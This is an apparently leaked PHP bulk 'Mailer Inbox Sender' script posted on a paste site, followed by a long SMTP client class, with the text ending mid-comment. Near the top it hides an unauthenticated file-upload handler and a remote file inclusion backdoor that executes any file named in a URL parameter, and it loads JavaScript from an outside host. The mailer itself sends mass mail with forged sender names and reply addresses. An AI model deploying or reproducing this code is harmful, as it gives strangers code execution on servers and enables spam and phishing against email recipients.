· 8 years ago · Sep 28, 2017, 06:08 PM
1Leaked by : PELITABANGSA .CA
2[ INDONESIA CYBER ATTACK AND MALWARE ANALYST ]
3<?php
4# ===================================================== #
5# ## ## ## ##### #### ##### #### ## ## ## ## #
6# ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
7# ####### ###### ## ## ## ## ## ## ###### ###### #
8# ## ## ## ## ## ## ## ## ## ## ## ## #
9# ## ## ## ## ##### #### ##### #### ## ## #
10# ===================================================== #
11# By #
12# contact : #
13# (http://www.tools2u.net) #
14# ===================================================== #
15# Upload
16$UP = $_GET['up'];
17if(isset($UP) && !empty($UP)){
18echo"".$_FILES['userfile']."";
19$uploaddir = './';
20$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
21if ( isset($_FILES["userfile"]) ) {
22 echo '<p><font color="#00FF00" size="7">Uploaded</font></p>';
23 if (move_uploaded_file
24($_FILES["userfile"]["tmp_name"], $uploadfile))
25echo $uploadfile;
26 else echo '<p><font color="#FF0000" size="7">Failed</font></p>';
27}
28
29}
30# ===================================================== #
31# RFI
32$in = $_GET['in'];
33if(isset($in) && !empty($in)){
34 echo die(include_once $in);
35}
36# ===================================================== #
37function query_str($params){
38$str = '';
39foreach ($params as $key => $value) {
40$str .= (strlen($str) < 1) ? '' : '&';
41$str .= $key . '=' . rawurlencode($value);
42}
43return ($str);
44}
45function lrtrim($string){
46return stripslashes(ltrim(rtrim($string)));
47}
48
49if(isset($_POST['action'] ) ){
50
51$b = query_str($_POST);
52parse_str($b);
53$sslclick=lrtrim($sslclick);
54$action=lrtrim($action);
55$message=lrtrim($message);
56$emaillist=lrtrim($emaillist);
57$from=lrtrim($from);
58$reconnect=lrtrim($reconnect);
59$epriority=lrtrim($epriority);
60$my_smtp=lrtrim($my_smtp);
61$ssl_port=lrtrim($ssl_port);
62$smtp_username=lrtrim($smtp_username);
63$smtp_password=lrtrim($smtp_password);
64$replyto=lrtrim($replyto);
65$subject=lrtrim($subject);
66$realname=lrtrim($realname);
67$subject_base=lrtrim($subject);
68$realname_base=lrtrim($realname);
69$file_name=lrtrim($file);
70$urlz=lrtrim($urlz);
71$contenttype=lrtrim($contenttype);
72$encode_text=$_POST['encode'];
73
74 $message = urlencode($message);
75 $message = ereg_replace("%5C%22", "%22", $message);
76 $message = urldecode($message);
77 $message = stripslashes($message);
78 $subject = stripslashes($subject);
79 if ($encode_text == "yes") {
80 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
81 $subject = str_replace(' ', '_', $subject);
82 $subject = "=?UTF-8?Q?$subject?=";
83 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
84 $realname = str_replace(' ', '_', $realname);
85 $realname = "=?UTF-8?Q?$realname?=";
86 }
87}
88?>
89<html>
90
91<head>
92<title>PHP Mailer</title>
93<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
94
95<style type="text/css">
96<!--
97.style1 {
98 font-family: Geneva, Arial, Helvetica, sans-serif;
99 font-size: 12px;
100}
101-->
102</style>
103<style type="text/css">
104<!--
105.style1 {
106 font-size: 10px;
107 font-family: Geneva, Arial, Helvetica, sans-serif;
108}
109-->
110</style>
111</head>
112<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
113<body text="#000000">
114<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender</font><font color="#FFFFFF" size="5" face="Bauhaus 93">Hadidi44</font></p>
115<form name="form1" method="post" action="" enctype="multipart/form-data">
116
117 <br>
118
119 <table width="100%" border="0" height="328">
120
121 <tr>
122
123 <td colspan="4" bgcolor="#666666" height="36">
124
125 <b>
126
127 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
128
129 </tr>
130
131 <tr>
132
133 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
134
135 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
136 Your Email:</font></div>
137
138 </td>
139
140 <td width="36%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
141
142 <input type="text" name="from" value="<?=$from;?>" size="30">
143
144 </font></td>
145
146 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
147
148 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
149 Your Name:</font></div>
150
151 </td>
152
153 <td width="36%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
154
155 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
156
157 </font></td>
158
159 </tr>
160 <tr>
161
162 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
163
164 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
165 Reply-To:</font></div>
166
167 </td>
168
169 <td width="36%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
170
171 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
172
173 </font></td>
174
175 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
176
177 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
178 Email Priority:</font></td>
179
180 <td width="36%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
181
182 </font><select name="epriority" id="listMethod" onChange="showHideListConfig()">
183 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
184 Please Choose -</option>
185 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
186 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
187 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
188 </select></td>
189
190 </tr>
191
192 <tr>
193
194 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
195
196 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
197 Subject:</font></div>
198
199 </td>
200
201 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
202
203 <input type="text" name="subject" value="<?=$subject_base;?>" size="50">
204
205 </font></td>
206
207 </tr>
208
209 <tr>
210
211 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
212
213 </td>
214
215 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
216
217 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
218 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
219 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
220 </select></font></td>
221
222 </tr>
223
224 <tr valign="top">
225
226<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
227
228 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
229
230 <br>
231
232 <input type="radio" name="contenttype" value="plain" >
233
234 Plain
235
236 <input type="radio" name="contenttype" value="html" checked>
237
238 HTML
239
240 <input type="hidden" name="action" value="send">
241
242 <input type="submit" value="Send Message">
243
244 </font></td>
245
246 <td width="36%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
247
248 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
249
250 </font></td>
251
252 </tr>
253
254 </table>
255
256</form>
257
258
259
260<?
261
262if ($action){
263 if (!$from && !$subject && !$message && !$emaillist){
264 print "<script>alert('Please complete all fields before sending your message.'); </script>";
265 die(); }
266
267class SMTP
268{
269 /**
270 * SMTP server port
271 * @var int
272 */
273 var $SMTP_PORT = 25;
274
275 /**
276 * SMTP reply line ending
277 * @var string
278 */
279 var $CRLF = "\r\n";
280
281 /**
282 * Sets whether debugging is turned on
283 * @var bool
284 */
285 var $do_debug; # the level of debug to perform
286
287 /**
288 * Sets VERP use on/off (default is off)
289 * @var bool
290 */
291 var $do_verp = false;
292
293 /**#@+
294 * @access private
295 */
296 var $smtp_conn; # the socket to the server
297 var $error; # error if any on the last call
298 var $helo_rply; # the reply the server sent to us for HELO
299 /**#@-*/
300
301 /**
302 * Initialize the class so that the data is in a known state.
303 * @access public
304 * @return void
305 */
306 function SMTP() {
307 $this->smtp_conn = 0;
308 $this->error = null;
309 $this->helo_rply = null;
310
311 $this->do_debug = 0;
312 }
313
314 /*************************************************************
315 * CONNECTION FUNCTIONS *
316 ***********************************************************/
317
318 /**
319 * Connect to the server specified on the port specified.
320 * If the port is not specified use the default SMTP_PORT.
321 * If tval is specified then a connection will try and be
322 * established with the server for that number of seconds.
323 * If tval is not specified the default is 30 seconds to
324 * try on the connection.
325 *
326 * SMTP CODE SUCCESS: 220
327 * SMTP CODE FAILURE: 421
328 * @access public
329 * @return bool
330 */
331 function Connect($host,$port=0,$tval=30) {
332 # set the error val to null so there is no confusion
333 $this->error = null;
334
335 # make sure we are __not__ connected
336 if($this->connected()) {
337 # ok we are connected! what should we do?
338 # for now we will just give an error saying we
339 # are already connected
340 $this->error = array("error" => "Already connected to a server");
341 return false;
342 }
343
344 if(empty($port)) {
345 $port = $this->SMTP_PORT;
346 }
347
348 #connect to the smtp server
349 $this->smtp_conn = fsockopen($host, # the host of the server
350 $port, # the port to use
351 $errno, # error number if any
352 $errstr, # error message if any
353 $tval); # give up after ? secs
354 # verify we connected properly
355 if(empty($this->smtp_conn)) {
356 $this->error = array("error" => "Failed to connect to server",
357 "errno" => $errno,
358 "errstr" => $errstr);
359 if($this->do_debug >= 1) {
360 echo "SMTP -> ERROR: " . $this->error["error"] .
361 ": $errstr ($errno)" . $this->CRLF;
362 }
363 return false;
364 }
365
366 # sometimes the SMTP server takes a little longer to respond
367 # so we will give it a longer timeout for the first read
368 // Windows still does not have support for this timeout function
369 if(substr(PHP_OS, 0, 3) != "WIN")
370 socket_set_timeout($this->smtp_conn, $tval, 0);
371
372 # get any announcement stuff
373 $announce = $this->get_lines();
374
375 # set the timeout of any socket functions at 1/10 of a second
376 //if(function_exists("socket_set_timeout"))
377 // socket_set_timeout($this->smtp_conn, 0, 100000);
378
379 if($this->do_debug >= 2) {
380 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
381 }
382
383 return true;
384 }
385
386 /**
387 * Performs SMTP authentication. Must be run after running the
388 * Hello() method. Returns true if successfully authenticated.
389 * @access public
390 * @return bool
391 */
392 function Authenticate($username, $password) {
393 // Start authentication
394 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
395
396 $rply = $this->get_lines();
397 $code = substr($rply,0,3);
398
399 if($code != 334) {
400 $this->error =
401 array("error" => "AUTH not accepted from server",
402 "smtp_code" => $code,
403 "smtp_msg" => substr($rply,4));
404 if($this->do_debug >= 1) {
405 echo "SMTP -> ERROR: " . $this->error["error"] .
406 ": " . $rply . $this->CRLF;
407 }
408 return false;
409 }
410
411 // Send encoded username
412 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
413
414 $rply = $this->get_lines();
415 $code = substr($rply,0,3);
416
417 if($code != 334) {
418 $this->error =
419 array("error" => "Username not accepted from server",
420 "smtp_code" => $code,
421 "smtp_msg" => substr($rply,4));
422 if($this->do_debug >= 1) {
423 echo "SMTP -> ERROR: " . $this->error["error"] .
424 ": " . $rply . $this->CRLF;
425 }
426 return false;
427 }
428
429 // Send encoded password
430 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
431
432 $rply = $this->get_lines();
433 $code = substr($rply,0,3);
434
435 if($code != 235) {
436 $this->error =
437 array("error" => "Password not accepted from server",
438 "smtp_code" => $code,
439 "smtp_msg" => substr($rply,4));
440 if($this->do_debug >= 1) {
441 echo "SMTP -> ERROR: " . $this->error["error"] .
442 ": " . $rply . $this->CRLF;
443 }
444 return false;
445 }
446
447 return true;
448 }
449
450 /**
451 * Returns true if connected to a server otherwise false
452 * @access private
453 * @return bool
454 */
455 function Connected() {
456 if(!empty($this->smtp_conn)) {
457 $sock_status = socket_get_status($this->smtp_conn);
458 if($sock_status["eof"]) {
459 # hmm this is an odd situation... the socket is
460 # valid but we are not connected anymore
461 if($this->do_debug >= 1) {
462 echo "SMTP -> NOTICE:" . $this->CRLF .
463 "EOF caught while checking if connected";
464 }
465 $this->Close();
466 return false;
467 }
468 return true; # everything looks good
469 }
470 return false;
471 }
472
473 /**
474 * Closes the socket and cleans up the state of the class.
475 * It is not considered good to use this function without
476 * first trying to use QUIT.
477 * @access public
478 * @return void
479 */
480 function Close() {
481 $this->error = null; # so there is no confusion
482 $this->helo_rply = null;
483 if(!empty($this->smtp_conn)) {
484 # close the connection and cleanup
485 fclose($this->smtp_conn);
486 $this->smtp_conn = 0;
487 }
488 }
489
490 /***************************************************************
491 * SMTP COMMANDS *
492 *************************************************************/
493
494 /**
495 * Issues a data command and sends the msg_data to the server
496 * finializing the mail transaction. $msg_data is the message
497 * that is to be send with the headers. Each header needs to be
498 * on a single line followed by a <CRLF> with the message headers
499 * and the message body being seperated by and additional <CRLF>.
500 *
501 * Implements rfc 821: DATA <CRLF>
502 *
503 * SMTP CODE INTERMEDIATE: 354
504 * [data]
505 * <CRLF>.<CRLF>
506 * SMTP CODE SUCCESS: 250
507 * SMTP CODE FAILURE: 552,554,451,452
508 * SMTP CODE FAILURE: 451,554
509 * SMTP CODE ERROR : 500,501,503,421
510 * @access public
511 * @return bool
512 */
513 function Data($msg_data) {
514 $this->error = null; # so no confusion is caused
515
516 if(!$this->connected()) {
517 $this->error = array(
518 "error" => "Called Data() without being connected");
519 return false;
520 }
521
522 fputs($this->smtp_conn,"DATA" . $this->CRLF);
523
524 $rply = $this->get_lines();
525 $code = substr($rply,0,3);
526
527 if($this->do_debug >= 2) {
528 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
529 }
530
531 if($code != 354) {
532 $this->error =
533 array("error" => "DATA command not accepted from server",
534 "smtp_code" => $code,
535 "smtp_msg" => substr($rply,4));
536 if($this->do_debug >= 1) {
537 echo "SMTP -> ERROR: " . $this->error["error"] .
538 ": " . $rply . $this->CRLF;
539 }
540 return false;
541 }
542
543 # the server is ready to accept data!
544 # according to rfc 821 we should not send more than 1000
545 # including the CRLF
546 # characters on a single line so we will break the data up
547 # into lines by \r and/or \n then if needed we will break
548 # each of those into smaller lines to fit within the limit.
549 # in addition we will be looking for lines that start with
550 # a period '.' and append and additional period '.' to that
551 # line. NOTE: this does not count towards are limit.
552
553 # normalize the line breaks so we know the explode works
554 $msg_data = str_replace("\r\n","\n",$msg_data);
555 $msg_data = str_replace("\r","\n",$msg_data);
556 $lines = explode("\n",$msg_data);
557
558 # we need to find a good way to determine is headers are
559 # in the msg_data or if it is a straight msg body
560 # currently I am assuming rfc 822 definitions of msg headers
561 # and if the first field of the first line (':' sperated)
562 # does not contain a space then it _should_ be a header
563 # and we can process all lines before a blank "" line as
564 # headers.
565 $field = substr($lines[0],0,strpos($lines[0],":"));
566 $in_headers = false;
567 if(!empty($field) && !strstr($field," ")) {
568 $in_headers = true;
569 }
570
571 $max_line_length = 998; # used below; set here for ease in change
572
573 while(list(,$line) = @each($lines)) {
574 $lines_out = null;
575 if($line == "" && $in_headers) {
576 $in_headers = false;
577 }
578 # ok we need to break this line up into several
579 # smaller lines
580 while(strlen($line) > $max_line_length) {
581 $pos = strrpos(substr($line,0,$max_line_length)," ");
582
583 # Patch to fix DOS attack
584 if(!$pos) {
585 $pos = $max_line_length - 1;
586 }
587
588 $lines_out[] = substr($line,0,$pos);
589 $line = substr($line,$pos + 1);
590 # if we are processing headers we need to
591 # add a LWSP-char to the front of the new line
592 # rfc 822 on long msg headers
593 if($in_headers) {
594 $line = "\t" . $line;
595 }
596 }
597 $lines_out[] = $line;
598
599 # now send the lines to the server
600 while(list(,$line_out) = @each($lines_out)) {
601 if(strlen($line_out) > 0)
602 {
603 if(substr($line_out, 0, 1) == ".") {
604 $line_out = "." . $line_out;
605 }
606 }
607 fputs($this->smtp_conn,$line_out . $this->CRLF);
608 }
609 }
610
611 # ok all the message data has been sent so lets get this
612 # over with aleady
613 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
614
615 $rply = $this->get_lines();
616 $code = substr($rply,0,3);
617
618 if($this->do_debug >= 2) {
619 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
620 }
621
622 if($code != 250) {
623 $this->error =
624 array("error" => "DATA not accepted from server",
625 "smtp_code" => $code,
626 "smtp_msg" => substr($rply,4));
627 if($this->do_debug >= 1) {
628 echo "SMTP -> ERROR: " . $this->error["error"] .
629 ": " . $rply . $this->CRLF;
630 }
631 return false;
632 }
633 return true;
634 }
635
636 /**
637 * Expand takes the name and asks the server to list all the
638 * people who are members of the _list_. Expand will return
639 * back and array of the result or false if an error occurs.
640 * Each value in the array returned has the format of:
641 * [ <full-name> <sp> ] <path>
642 * The definition of <path> is defined in rfc 821
643 *
644 * Implements rfc 821: EXPN <SP> <string> <CRLF>
645 *
646 * SMTP CODE SUCCESS: 250
647 * SMTP CODE FAILURE: 550
648 * SMTP CODE ERROR : 500,501,502,504,421
649 * @access public
650 * @return string array
651 */
652 function Expand($name) {
653 $this->error = null; # so no confusion is caused
654
655 if(!$this->connected()) {
656 $this->error = array(
657 "error" => "Called Expand() without being connected");
658 return false;
659 }
660
661 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
662
663 $rply = $this->get_lines();
664 $code = substr($rply,0,3);
665
666 if($this->do_debug >= 2) {
667 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
668 }
669
670 if($code != 250) {
671 $this->error =
672 array("error" => "EXPN not accepted from server",
673 "smtp_code" => $code,
674 "smtp_msg" => substr($rply,4));
675 if($this->do_debug >= 1) {
676 echo "SMTP -> ERROR: " . $this->error["error"] .
677 ": " . $rply . $this->CRLF;
678 }
679 return false;
680 }
681
682 # parse the reply and place in our array to return to user
683 $entries = explode($this->CRLF,$rply);
684 while(list(,$l) = @each($entries)) {
685 $list[] = substr($l,4);
686 }
687
688 return $list;
689 }
690
691 /**
692 * Sends the HELO command to the smtp server.
693 * This makes sure that we and the server are in
694 * the same known state.
695 *
696 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
697 *
698 * SMTP CODE SUCCESS: 250
699 * SMTP CODE ERROR : 500, 501, 504, 421
700 * @access public
701 * @return bool
702 */
703 function Hello($host="") {
704 $this->error = null; # so no confusion is caused
705
706 if(!$this->connected()) {
707 $this->error = array(
708 "error" => "Called Hello() without being connected");
709 return false;
710 }
711
712 # if a hostname for the HELO was not specified determine
713 # a suitable one to send
714 if(empty($host)) {
715 # we need to determine some sort of appopiate default
716 # to send to the server
717 $host = "localhost";
718 }
719
720 // Send extended hello first (RFC 2821)
721 if(!$this->SendHello("EHLO", $host))
722 {
723 if(!$this->SendHello("HELO", $host))
724 return false;
725 }
726
727 return true;
728 }
729
730 /**
731 * Sends a HELO/EHLO command.
732 * @access private
733 * @return bool
734 */
735 function SendHello($hello, $host) {
736 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
737
738 $rply = $this->get_lines();
739 $code = substr($rply,0,3);
740
741 if($this->do_debug >= 2) {
742 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
743 }
744
745 if($code != 250) {
746 $this->error =
747 array("error" => $hello . " not accepted from server",
748 "smtp_code" => $code,
749 "smtp_msg" => substr($rply,4));
750 if($this->do_debug >= 1) {
751 echo "SMTP -> ERROR: " . $this->error["error"] .
752 ": " . $rply . $this->CRLF;
753 }
754 return false;
755 }
756
757 $this->helo_rply = $rply;
758
759 return true;
760 }
761
762 /**
763 * Gets help information on the keyword specified. If the keyword
764 * is not specified then returns generic help, ussually contianing
765 * A list of keywords that help is available on. This function
766 * returns the results back to the user. It is up to the user to
767 * handle the returned data. If an error occurs then false is
768 * returned with $this->error set appropiately.
769 *
770 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
771 *
772 * SMTP CODE SUCCESS: 211,214
773 * SMTP CODE ERROR : 500,501,502,504,421
774 * @access public
775 * @return string
776 */
777 function Help($keyword="") {
778 $this->error = null; # to avoid confusion
779
780 if(!$this->connected()) {
781 $this->error = array(
782 "error" => "Called Help() without being connected");
783 return false;
784 }
785
786 $extra = "";
787 if(!empty($keyword)) {
788 $extra = " " . $keyword;
789 }
790
791 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
792
793 $rply = $this->get_lines();
794 $code = substr($rply,0,3);
795
796 if($this->do_debug >= 2) {
797 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
798 }
799
800 if($code != 211 && $code != 214) {
801 $this->error =
802 array("error" => "HELP not accepted from server",
803 "smtp_code" => $code,
804 "smtp_msg" => substr($rply,4));
805 if($this->do_debug >= 1) {
806 echo "SMTP -> ERROR: " . $this->error["error"] .
807 ": " . $rply . $this->CRLF;
808 }
809 return false;
810 }
811
812 return $rply;
813 }
814
815 /**
816 * Starts a mail transaction from the email address specified in
817 * $from. Returns true if successful or false otherwise. If True
818 * the mail transaction is started and then one or more Recipient
819 * commands may be called followed by a Data command.
820 *
821 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
822 *
823 * SMTP CODE SUCCESS: 250
824 * SMTP CODE SUCCESS: 552,451,452
825 * SMTP CODE SUCCESS: 500,501,421
826 * @access public
827 * @return bool
828 */
829 function Mail($from) {
830 $this->error = null; # so no confusion is caused
831
832 if(!$this->connected()) {
833 $this->error = array(
834 "error" => "Called Mail() without being connected");
835 return false;
836 }
837
838 $useVerp = ($this->do_verp ? "XVERP" : "");
839 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
840
841 $rply = $this->get_lines();
842 $code = substr($rply,0,3);
843
844 if($this->do_debug >= 2) {
845 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
846 }
847
848 if($code != 250) {
849 $this->error =
850 array("error" => "MAIL not accepted from server",
851 "smtp_code" => $code,
852 "smtp_msg" => substr($rply,4));
853 if($this->do_debug >= 1) {
854 echo "SMTP -> ERROR: " . $this->error["error"] .
855 ": " . $rply . $this->CRLF;
856 }
857 return false;
858 }
859 return true;
860 }
861
862 /**
863 * Sends the command NOOP to the SMTP server.
864 *
865 * Implements from rfc 821: NOOP <CRLF>
866 *
867 * SMTP CODE SUCCESS: 250
868 * SMTP CODE ERROR : 500, 421
869 * @access public
870 * @return bool
871 */
872 function Noop() {
873 $this->error = null; # so no confusion is caused
874
875 if(!$this->connected()) {
876 $this->error = array(
877 "error" => "Called Noop() without being connected");
878 return false;
879 }
880
881 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
882
883 $rply = $this->get_lines();
884 $code = substr($rply,0,3);
885
886 if($this->do_debug >= 2) {
887 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
888 }
889
890 if($code != 250) {
891 $this->error =
892 array("error" => "NOOP not accepted from server",
893 "smtp_code" => $code,
894 "smtp_msg" => substr($rply,4));
895 if($this->do_debug >= 1) {
896 echo "SMTP -> ERROR: " . $this->error["error"] .
897 ": " . $rply . $this->CRLF;
898 }
899 return false;
900 }
901 return true;
902 }
903
904 /**
905 * Sends the quit command to the server and then closes the socket
906 * if there is no error or the $close_on_error argument is true.
907 *
908 * Implements from rfc 821: QUIT <CRLF>
909 *
910 * SMTP CODE SUCCESS: 221
911 * SMTP CODE ERROR : 500
912 * @access public
913 * @return bool
914 */
915 function Quit($close_on_error=true) {
916 $this->error = null; # so there is no confusion
917
918 if(!$this->connected()) {
919 $this->error = array(
920 "error" => "Called Quit() without being connected");
921 return false;
922 }
923
924 # send the quit command to the server
925 fputs($this->smtp_conn,"quit" . $this->CRLF);
926
927 # get any good-bye messages
928 $byemsg = $this->get_lines();
929
930 if($this->do_debug >= 2) {
931 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
932 }
933
934 $rval = true;
935 $e = null;
936
937 $code = substr($byemsg,0,3);
938 if($code != 221) {
939 # use e as a tmp var cause Close will overwrite $this->error
940 $e = array("error" => "SMTP server rejected quit command",
941 "smtp_code" => $code,
942 "smtp_rply" => substr($byemsg,4));
943 $rval = false;
944 if($this->do_debug >= 1) {
945 echo "SMTP -> ERROR: " . $e["error"] . ": " .
946 $byemsg . $this->CRLF;
947 }
948 }
949
950 if(empty($e) || $close_on_error) {
951 $this->Close();
952 }
953
954 return $rval;
955 }
956
957 /**
958 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
959 * Returns true if the recipient was accepted false if it was rejected.
960 *
961 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
962 *
963 * SMTP CODE SUCCESS: 250,251
964 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
965 * SMTP CODE ERROR : 500,501,503,421
966 * @access public
967 * @return bool
968 */
969 function Recipient($to) {
970 $this->error = null; # so no confusion is caused
971
972 if(!$this->connected()) {
973 $this->error = array(
974 "error" => "Called Recipient() without being connected");
975 return false;
976 }
977
978 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
979
980 $rply = $this->get_lines();
981 $code = substr($rply,0,3);
982
983 if($this->do_debug >= 2) {
984 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
985 }
986
987 if($code != 250 && $code != 251) {
988 $this->error =
989 array("error" => "RCPT not accepted from server",
990 "smtp_code" => $code,
991 "smtp_msg" => substr($rply,4));
992 if($this->do_debug >= 1) {
993 echo "SMTP -> ERROR: " . $this->error["error"] .
994 ": " . $rply . $this->CRLF;
995 }
996 return false;
997 }
998 return true;
999 }
1000
1001 /**
1002 * Sends the RSET command to abort and transaction that is
1003 * currently in progress. Returns true if successful false
1004 * otherwise.
1005 *
1006 * Implements rfc 821: RSET <CRLF>
1007 *
1008 * SMTP CODE SUCCESS: 250
1009 * SMTP CODE ERROR : 500,501,504,421
1010 * @access public
1011 * @return bool
1012 */
1013 function Reset() {
1014 $this->error = null; # so no confusion is caused
1015
1016 if(!$this->connected()) {
1017 $this->error = array(
1018 "error" => "Called Reset() without being connected");
1019 return false;
1020 }
1021
1022 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1023
1024 $rply = $this->get_lines();
1025 $code = substr($rply,0,3);
1026
1027 if($this->do_debug >= 2) {
1028 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1029 }
1030
1031 if($code != 250) {
1032 $this->error =
1033 array("error" => "RSET failed",
1034 "smtp_code" => $code,
1035 "smtp_msg" => substr($rply,4));
1036 if($this->do_debug >= 1) {
1037 echo "SMTP -> ERROR: " . $this->error["error"] .
1038 ": " . $rply . $this->CRLF;
1039 }
1040 return false;
1041 }
1042
1043 return true;
1044 }
1045
1046 /**
1047 * Starts a mail transaction from the email address specified in
1048 * $from. Returns true if successful or false otherwise. If True
1049 * the mail transaction is started and then one or more Recipient
1050 * commands may be called followed by a Data command. This command
1051 * will send the message to the users terminal if they are logged
1052 * in.
1053 *
1054 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1055 *
1056 * SMTP CODE SUCCESS: 250
1057 * SMTP CODE SUCCESS: 552,451,452
1058 * SMTP CODE SUCCESS: 500,501,502,421
1059 * @access public
1060 * @return bool
1061 */
1062 function Send($from) {
1063 $this->error = null; # so no confusion is caused
1064
1065 if(!$this->connected()) {
1066 $this->error = array(
1067 "error" => "Called Send() without being connected");
1068 return false;
1069 }
1070
1071 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1072
1073 $rply = $this->get_lines();
1074 $code = substr($rply,0,3);
1075
1076 if($this->do_debug >= 2) {
1077 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1078 }
1079
1080 if($code != 250) {
1081 $this->error =
1082 array("error" => "SEND not accepted from server",
1083 "smtp_code" => $code,
1084 "smtp_msg" => substr($rply,4));
1085 if($this->do_debug >= 1) {
1086 echo "SMTP -> ERROR: " . $this->error["error"] .
1087 ": " . $rply . $this->CRLF;
1088 }
1089 return false;
1090 }
1091 return true;
1092 }
1093
1094 /**
1095 * Starts a mail transaction from the email address specified in
1096 * $from. Returns true if successful or false otherwise. If True
1097 * the mail transaction is started and then one or more Recipient
1098 * commands may be called followed by a Data command. This command
1099 * will send the message to the users terminal if they are logged
1100 * in and send them an email.
1101 *
1102 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1103 *
1104 * SMTP CODE SUCCESS: 250
1105 * SMTP CODE SUCCESS: 552,451,452
1106 * SMTP CODE SUCCESS: 500,501,502,421
1107 * @access public
1108 * @return bool
1109 */
1110 function SendAndMail($from) {
1111 $this->error = null; # so no confusion is caused
1112
1113 if(!$this->connected()) {
1114 $this->error = array(
1115 "error" => "Called SendAndMail() without being connected");
1116 return false;
1117 }
1118
1119 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1120
1121 $rply = $this->get_lines();
1122 $code = substr($rply,0,3);
1123
1124 if($this->do_debug >= 2) {
1125 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1126 }
1127
1128 if($code != 250) {
1129 $this->error =
1130 array("error" => "SAML not accepted from server",
1131 "smtp_code" => $code,
1132 "smtp_msg" => substr($rply,4));
1133 if($this->do_debug >= 1) {
1134 echo "SMTP -> ERROR: " . $this->error["error"] .
1135 ": " . $rply . $this->CRLF;
1136 }
1137 return false;
1138 }
1139 return true;
1140 }
1141
1142 /**
1143 * Starts a mail transaction from the email address specified in
